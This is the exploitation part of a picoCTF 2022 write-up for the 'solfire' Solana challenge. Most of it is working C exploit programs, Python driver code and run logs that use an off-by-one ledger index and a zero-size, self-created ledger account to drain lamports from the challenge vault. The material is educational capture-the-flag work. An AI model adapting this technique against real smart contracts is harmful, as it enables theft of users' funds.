II. Part II - Environment Setup
III. Part III - Exploitation (you are here)
Recall from Part I that functions from solfire.so
must be called with 5 accounts. For handle_create
they should be in the following order (for deposit/withdraw the order is slightly different):
C1ock
addressTo start with, let’s see if we can get handle_create
to work, since we’ll need a ledger account in order to call handle_deposit
or handle_withdraw
.
Recall from our analysis in Part I that in order to successfully call handle_create
we must supply the actual address of the ledger account and provide 5 bytes of instruction data, where the 5th byte gets used as the seed. How does this work? These addresses are called Program Derived Addresses (PDA’s) and are special addresses that can only be used by programs and are deterministically derived from the program’s public key and a seed.
In order to conveniently do these calculations from our python script, I’ve pulled together some python code from various sources to assist in these calculations: solana_helpers.py (see code for source links and licenses)
We can use the function find_program_address
from solana_helpers.py
(see link above) to calculate a PDA like this:
from base58 import b58decode, b58encode
from solana_helpers import find_program_address
ledger, ledgernonce = find_program_address([b""], b58decode(program_pubkey))
ledger = b58encode(ledger).decode()
print(f"ledger: {ledger} {ledgernonce}")
The function has an input that is the seed (in this case the seed is empty), and returns an address and a nonce
. The nonce
is an 8-bit value that is appended to the seed that ensures that the derived-hash is an address that is not on the ed25519 curve (which is required for PDA’s). It is this nonce
value that we are required to include in the instruction data for handle_create
.
Likewise, since we need the vault address as well, we can do the same calculation with the seed "vault"
.
Let’s write a new program to call handle_create
. In addition to the 5 accounts that solfire needs, our program will need an additional address: the address of the solfire.so
contract itself. For simplicity, we will pass these addresses in the same order as required by handle_create
, and simply add the solfire address to the end.
uint8_t nonce = params->data[0];
sol_log("About to call solfire handle_create!");
// There must be exactly 5 addresses
SolAccountMeta meta[] = {
{params->ka[0].key /* clock */, false, false},
{params->ka[1].key /* system */, false, false}, /* must be system */
{params->ka[2].key /* ledger */, true, false}, /* "ledger" */
{params->ka[3].key /* vault */, false, false}, /*not used */
{params->ka[4].key /* user */, true, true}, /* funding account - must be writeable, must be signed */
};
uint8_t buf[5] = {0};
buf[0] = 0; //[0-4] code - 0 is `handle_create`
buf[4] = nonce; //[4] nonce
const SolInstruction instruction = {params->ka[5].key /* program */,
meta, SOL_ARRAY_SIZE(meta),
buf, SOL_ARRAY_SIZE(buf)};
sol_invoke_signed(&instruction, params->ka, params->ka_num, (SolSignerSeeds*)0, 0);
Recall: the first address must contain the substring "C1ock"
. Since solfire
reads from this address, I originally assumed it was required to be a valid address with properly allocated data. However, it turns out that the Solana runtime will pad out data for unknown addresses with zeros, and since a zero will bypass the timestamp check, we don’t actually need to do anything special other than pass in a properly encoded b58 address containing the substring C1ock
(that isn’t the sysvar address). ie: C1ock111111111111111111111111111111111111111
will work.
On the topic of doing a lot of unnecessary work, before I understood this, I wrote a small go program to bruteforce the seed required such that my own program could properly create a program derived address containing the substring
"C1ock"
. It was very naive but would generally complete within a minute or two. However, this is a post for another time.
Now, let’s modify our script to send in the address metadata and the instruction data:
#metadata
p.sendline("6")
p.sendline(f"r C1ock111111111111111111111111111111111111111")
p.sendline(f"r 11111111111111111111111111111111")
p.sendline(f"w {ledger}")
p.sendline(f"w {vault}")
p.sendline(f"ws {user_pubkey}")
p.sendline(f"r {program_pubkey}")
#instructions
buf= p8(ledgernonce)
p.sendline(str(len(buf)))
p.send(buf)
Immediately we notice that our user balance has changed! (Remember, it cost us 1 lamport to create the ledger account using handle_create
):
$ python3 connect2.py
[+] Opening connection to localhost on port 8080: Done
program: Ew7GBvH4DQyPF7SMdV398ymLoDpYLgiHg4TNBWwee6Da
solve: 5ucYQinyYj8UXusExJPDPYffnccUPZ2JRLg9i9EWPHk7
user: 8ywjtRxY6gBf5dTqKSy8RymafB9oHBVpzRdvoNZFQaUM
ledger: 41La5Ue3q5jLBecFFfC6XGecn8pbiv3tLbGaqkVsr3zK 255
vault: AZTwNNQ6waZVQgBXEmP62DZYpAjU3o9xp2oVftZiA3dU 254
user bal: 9
vault bal: 1000000
And if we check our log output, we can verify that handle_create
was called and it invoked another instruction (CreateAccount
) on the system account:
Log Messages:
Program 5ucYQinyYj8UXusExJPDPYffnccUPZ2JRLg9i9EWPHk7 invoke [1]
Program log: Solfire Basic Invocation
Program log: Hello!
Program log: About to call solfire handle_create!
Program Ew7GBvH4DQyPF7SMdV398ymLoDpYLgiHg4TNBWwee6Da invoke [2]
Program log: Solfire start
Program log: handle_create
Program 11111111111111111111111111111111 invoke [3]
Program 11111111111111111111111111111111 success
Program Ew7GBvH4DQyPF7SMdV398ymLoDpYLgiHg4TNBWwee6Da consumed 44092 of 198625 compute units
Program Ew7GBvH4DQyPF7SMdV398ymLoDpYLgiHg4TNBWwee6Da success
Program 5ucYQinyYj8UXusExJPDPYffnccUPZ2JRLg9i9EWPHk7 consumed 45469 of 200000 compute units
Program 5ucYQinyYj8UXusExJPDPYffnccUPZ2JRLg9i9EWPHk7 success
Let’s now attempt the first attack that came to mind in Part I:
handle_create
handle_deposit
with both account 3 and account 4 set to user. This will transfer funds from the user to user while incrementing the ledger’s “deposit” record.handle_withdraw
with account 3 as user and account 4 as vault. If we use the same ledger entry from step 2 then we will be able to withdraw up to the amount of lamports already recorded in the ledger.Since we know we are left with 9 lamports after step 1, we will just hardcode the transfers to use 9 lamports. For convenience, we will simply use entry #0 in the ledger.
#include <solana_sdk.h>
// required order of params
#define CLOCK 0
#define SYSTEM 1
#define LEDGER 2
#define VAULT 3
#define USER 4
#define SOLFIRE 5
void solfire_create(SolParameters *params, uint8_t ledger_nonce)
{
sol_log("crEate!");
// There must be exactly 5 addresses
SolAccountMeta meta[] = {
{params->ka[CLOCK].key /* clock */, false, false},
{params->ka[SYSTEM].key /* system */, false, false}, /* must be system */
{params->ka[LEDGER].key /* ledger */, true, false}, /* "ledger" */
{params->ka[VAULT].key /* vault */, false, false}, /*not used */
{params->ka[USER].key /* user */, true, true}, /* funding account - must be writeable, must be signed */
};
uint8_t buf[5] = {0};
buf[0] = 0; //[0-4] code - 0 is `handle_create`
buf[4] = ledger_nonce; //[4] nonce
const SolInstruction instruction = {params->ka[SOLFIRE].key /* program */,
meta, SOL_ARRAY_SIZE(meta),
buf, SOL_ARRAY_SIZE(buf)};
sol_invoke_signed(&instruction, params->ka, params->ka_num, (SolSignerSeeds*)0, 0);
}
void solfire_deposit(SolParameters *params)
{
sol_log("dePosit!");
// There must be exactly 5 addresses
SolAccountMeta meta[] = {
{params->ka[CLOCK].key /* clock */, false, false},
{params->ka[SYSTEM].key /* system */, false, false}, /* must be system */
{params->ka[LEDGER].key /* ledger */, true, false}, /* "ledger" - must be writeable, must be owned */
{params->ka[USER].key /* user */, true, true}, /* funding account - must be writeable, must be signed */
{params->ka[USER].key /* user */, true, false}, /* receiving account, must be writable*/
};
uint8_t buf[12] = {0};
buf[0] = 1; //[0-4] code
buf[4] = 0; //[4-8] entry
buf[8] = 9; //[8-12] amount
const SolInstruction instruction = {params->ka[SOLFIRE].key /* program */,
meta, SOL_ARRAY_SIZE(meta),
buf, SOL_ARRAY_SIZE(buf)};
sol_invoke_signed(&instruction, params->ka, params->ka_num, (SolSignerSeeds*)0, 0);
}
void solfire_withdrawl(SolParameters *params, uint8_t vault_nonce)
{
sol_log("withDraw!");
// There must be exactly 5 addresses
SolAccountMeta meta[] = {
{params->ka[CLOCK].key /* clock */, false, false},
{params->ka[SYSTEM].key /* system */, false, false}, /* must be system */
{params->ka[LEDGER].key /* ledger */, true, false}, /* "ledger" - must be writeable, must be owned */
{params->ka[USER].key /* user */, true, true}, /* receiving account - must be writeable */
{params->ka[VAULT].key /* vault */, true, false}, /*must be vault, must be writable*/
};
uint8_t buf[16] = {0};
buf[0] = 2; //[0-4] code
buf[4] = 0; //[4-8] entry
buf[8] = 9; //[8-12] amount
buf[12] = vault_nonce; //[12] vault nonce
const SolInstruction instruction = {params->ka[SOLFIRE].key /* program */,
meta, SOL_ARRAY_SIZE(meta),
buf, SOL_ARRAY_SIZE(buf)};
sol_invoke_signed(&instruction, params->ka, params->ka_num, (SolSignerSeeds*)0, 0);
}
uint64_t basic(SolParameters *params)
{
sol_log("Hello!");
uint8_t ledger_nonce = params->data[0];
uint8_t vault_nonce = params->data[1];
solfire_create(params, ledger_nonce);
solfire_deposit(params);
solfire_withdrawl(params, vault_nonce);
return SUCCESS;
}
extern uint64_t entrypoint(const uint8_t *input) {
sol_log("Solfire Basic Invocation");
SolAccountInfo accounts[6];
SolParameters params = (SolParameters){.ka = accounts};
if (!sol_deserialize(input, ¶ms, SOL_ARRAY_SIZE(accounts))) {
return ERROR_INVALID_ARGUMENT;
}
if (params.ka_num < 6) {
sol_log("Not enough accounts");
return ERROR_NOT_ENOUGH_ACCOUNT_KEYS;
}
return basic(¶ms);
}
Our python script will need a small update as well, as we now must send along the vault nonce in the instruction data:
#instructions
buf= p8(ledgernonce) + p8(vaultnonce)
p.sendline(str(len(buf)))
p.send(buf)
Let’s run the script and confirm that we successfully stole some lamports:
$ python3 connect3.py
[+] Opening connection to localhost on port 8080: Done
program: Ew7GBvH4DQyPF7SMdV398ymLoDpYLgiHg4TNBWwee6Da
solve: 3Hh99uFZVHmh5cTy8FgNpdwdtt92vSKNgar4XRfeunot
user: 77c7dn2XD1wRu7njS6c6NWuRUPgUzb65x526z87CrJpe
ledger: 41La5Ue3q5jLBecFFfC6XGecn8pbiv3tLbGaqkVsr3zK 255
vault: AZTwNNQ6waZVQgBXEmP62DZYpAjU3o9xp2oVftZiA3dU 254
user bal: 18
vault bal: 999991
Aha! We started with 10 lamports and now have 18! Victory is within our grasp!
Narrator: Or is it?
Unfortunately, this is about when our luck runs out. Since you only have 9 lamports, you can’t transfer more than that to yourself. You can keep calling deposit to rack up the amount you can withdraw, but it doesn’t take long before you start seeing something like the following in your error logs:
Program log: Solfire start
Program Ew7GBvH4DQyPF7SMdV398ymLoDpYLgiHg4TNBWwee6Da consumed 17258 of 17258 compute units
Program failed to complete: exceeded maximum number of instructions allowed (17258) at instruction #1131
Program Ew7GBvH4DQyPF7SMdV398ymLoDpYLgiHg4TNBWwee6Da failed: Program failed to complete
Program 5HXGNZ1WizZFrqWHSd6xWSSnVBwVHBHBYVnfRHuDJj55 consumed 200000 of 200000 compute units
Program 5HXGNZ1WizZFrqWHSd6xWSSnVBwVHBHBYVnfRHuDJj55 failed: Program failed to complete
The key part being "consumed 200000 of 200000 compute units"
. Apparently, there is an upper-limit on the number of computations a given instruction/transaction is allowed. There are some mechanisms to bump this number up slightly, but they are required to be entered into the transaction directly and not executed as a cross-program invocation. The main problem here is that every call to solfire
is incredibly expensive - consuming over 20% of our total budget. As pointed out in Part I - this is likely due to the use of b58encode inside the contract itself.
In trying desperately to find ways to either increase the compute budget or reduce the costs of computing, we come to the realization that calling handle_create
is not actually necessary! The requirements for the ledger account are simply that the account is owned by the solfire
program. We can actually just call CreateAccount
ourselves and specify solfire
as the owner. This saves us a whole call into the solfire
entrypoint!
void solfire_create(SolParameters *params, uint8_t ledger_nonce)
{
sol_log("crEate!");
const SolSignerSeed seed = {&ledger_nonce, 1};
const SolSignerSeeds signers_seeds = {&seed, 1};
SolAccountMeta meta[] = {
{params->ka[USER].key /* user */, true, true},
{params->ka[LEDGER].key /* ledger */, true, true}
};
uint8_t buf[0x34] = {0};
buf[0] = 0; //[0-4] code
buf[4] = 0x0; //[4-12] lamports to transfer
buf[12] = 0x00; //[12-20] SIZE TO ALLOCATE!
buf[13] = 0x28; // 0x2800 in little endian - same as handle_create
// SET OWNER TO BE SOLFIRE PROGRAM - THIS IS REQUIRED FOR EXPLOIT TO WORK
sol_memcpy(&buf[20], params->ka[SOLFIRE].key /* program */, 32); //[20-52] new owner
const SolInstruction instruction = {params->ka[SYSTEM].key /* system */,
meta, SOL_ARRAY_SIZE(meta),
buf, SOL_ARRAY_SIZE(buf)};
sol_invoke_signed(&instruction, params->ka, params->ka_num, &signers_seeds, 1);
}
NOTE: we’ll also have to change the following line from program_pubkey
to solve_pubkey
since the ledger account now needs to be signed by our own program:
ledger, ledgernonce = find_program_address([b""], b58decode(solve_pubkey))
With this minor tweak, we can steal a couple more lamports, but unfortunately it’s nowhere near the 50,000 we need.
We’ve hit a brick wall. It’s time to realize that our assumed exploit (transferring from user to user) is not the way. We must have missed something during our initial analysis.
Fortunately, explicitly writing out the size of the buffer allocated for the ledger account (0x2800
) has jogged something in our memory.
What were those bound checks in handle_deposit
/handle_create
again?
if (0x280 < input[1]) {
sol_panic(s_./src/solfire/solfire.c_00013d76,0x18,0x5f);
}
Aha! We are allowed to specify an offset of 0x280
. Internally the code will calculate 0x280
* 0x10
and use that as the start of the entry in the ledger. However, the buffer is only 0x2800
large, and the offset is calculated as 0x2800
, therefore this is past the end of the buffer!
Let’s skip the call the handle_deposit
entirely, and see if we can withdraw even 1
lamport when using 0x280
as the index.
Program failed to complete: BPF program Panicked in ./src/solfire/solfire.c at 175:0
hmmm… No such luck. It’s failing at the point where it makes sure that the deposits exceed the amount being withdrawn. It’s reading past the end of the buffer, but there must be zeros there since even attempting to withdraw 1
lamport is too much.
Wait a second. Remember how reading from C1ock111111111111111111111111111111111111111
mysteriously worked even though it wasn’t actually a valid account with data? Reading up some more, it seems that 0x2800
is actually the maximum number of bytes you can request to be allocated. What if the runtime is padding the data out with up-to 0x2800
zeros? Since we’re now in control of allocating the ledger account in the first place, what if we allocated 0
data bytes instead? If we’re right, the runtime will pad it out with 0x2800
zeros, and our read will now go past the end of the padding and hit something new.
$ python3 connect5.py
[+] Opening connection to localhost on port 8080: Done
program: Ew7GBvH4DQyPF7SMdV398ymLoDpYLgiHg4TNBWwee6Da
solve: AWzyLGFoGgALfe2evpXkZRALiNPAzcLVBpuor8qk5xNn
user: FLQNdH5cWEg5SzfZV3dZk7oGeXLyomFioHYaexBpRy1Q
ledger: E9woYZWvQsqzthXZ3uyBjwFaXcyjkYuBzs4EVS92AEuw 252
vault: AZTwNNQ6waZVQgBXEmP62DZYpAjU3o9xp2oVftZiA3dU 254
user bal: 11
vault bal: 999999
SUCCESS!
All that’s left now is to bump up the number of lamports to withdraw. There’s a limit, obviously, depending on whatever value happens to be in memory at that spot. To be honest, we’re still not quite sure what it is, but it’s more than the 50,000 that we need. For simplicity, let’s withdraw 0x10000
lamports and see what happens:
void solfire_withdrawl(SolParameters *params, uint8_t vault_nonce)
{
sol_log("withDraw!");
// There must be exactly 5 addresses
SolAccountMeta meta[] = {
{params->ka[CLOCK].key /* clock */, false, false},
{params->ka[SYSTEM].key /* system */, false, false}, /* must be system */
{params->ka[LEDGER].key /* ledger */, true, false}, /* "ledger" - must be writeable, must be owned */
{params->ka[USER].key /* user */, true, true}, /* receiving account - must be writeable */
{params->ka[VAULT].key /* vault */, true, false}, /*must be vault, must be writable*/
};
uint8_t buf[16] = {0};
buf[0] = 2; //[0-4] code
buf[4] = 0x80; //[4-8] index
buf[5] = 0x02; // 0x280 in little endian
buf[8] = 0x00; //[8-12] amount
buf[9] = 0x00;
buf[10] = 0x01; //0x10000 in little-endian
buf[12] = vault_nonce; //[12] vault nonce
const SolInstruction instruction = {params->ka[SOLFIRE].key /* program */,
meta, SOL_ARRAY_SIZE(meta),
buf, SOL_ARRAY_SIZE(buf)};
sol_invoke_signed(&instruction, params->ka, params->ka_num, (SolSignerSeeds*)0, 0);
}
$ python3 connect5.py
[+] Opening connection to localhost on port 8080: Done
program: Ew7GBvH4DQyPF7SMdV398ymLoDpYLgiHg4TNBWwee6Da
solve: 47xVEjTeKyApnViADRZCLC2PpnmQpQpEZDfcsWYoMkC9
user: BPR11AMCQfViuJqxyL3FwWPWzMm4AFJeYEPwoFr1ue1D
ledger: EUUvConfMPo75TiJPPTEPtuS4zNdnCPR3yhFJWZJxEcz 255
vault: AZTwNNQ6waZVQgBXEmP62DZYpAjU3o9xp2oVftZiA3dU 254
user bal: 65546
vault bal: 934464
congrats!
flag: ""
And when we hit the challenge server?
$ python3 connect5.py
[+] Opening connection to saturn.picoctf.net on port 58898: Done
program: 96e3EUQXXb9M5NHU9Vbn4CMfC577ko8dWnRpQKrwDdjn
solve: 47xVEjTeKyApnViADRZCLC2PpnmQpQpEZDfcsWYoMkC9
user: 2wnrrp3k2q2Qtb7AHWqkT5ajsrdncRbpe4EfNkYLD7U9
ledger: EUUvConfMPo75TiJPPTEPtuS4zNdnCPR3yhFJWZJxEcz 255
vault: 28Xm4VxYY2wAywq8pNMfYRrhs99aTGEsyLoE4hozDgu6 255
user bal: 65546
vault bal: 934464
congrats!
flag: "picoCTF{===REDACTED===}"
Boom! We did it. Did you miss anything? Here’s a recap:
handle_withdraw
, the first account (index 0) must contain the substring C1ock
when b58 encoded. It does not need to exist or have initialized data, but it MUST NOT be SysvarC1ock11111111111111111111111111111111
(that account contains valid data and will not pass the timestamp check).handle_withdraw
contains an off-by-one error, allowing you to read/write past the end of ledger data.0
data bytes allocated and specify solfire.so
as the owner.handle_withdraw
with the offset set to 0x280
and a lamport value of approximately 50,000 or more (but not too much more). You will also be required to know the nonce for the vault account.Here are the 3 parts again if you want to go back:
I. Part I - Reversing the Binary
II. Part II - Environment Setup
III. Part III - Exploitation (you are here)
Or, if you want to read about other challenges, head back to the picoCTF 2022 Greatest Hits Guide.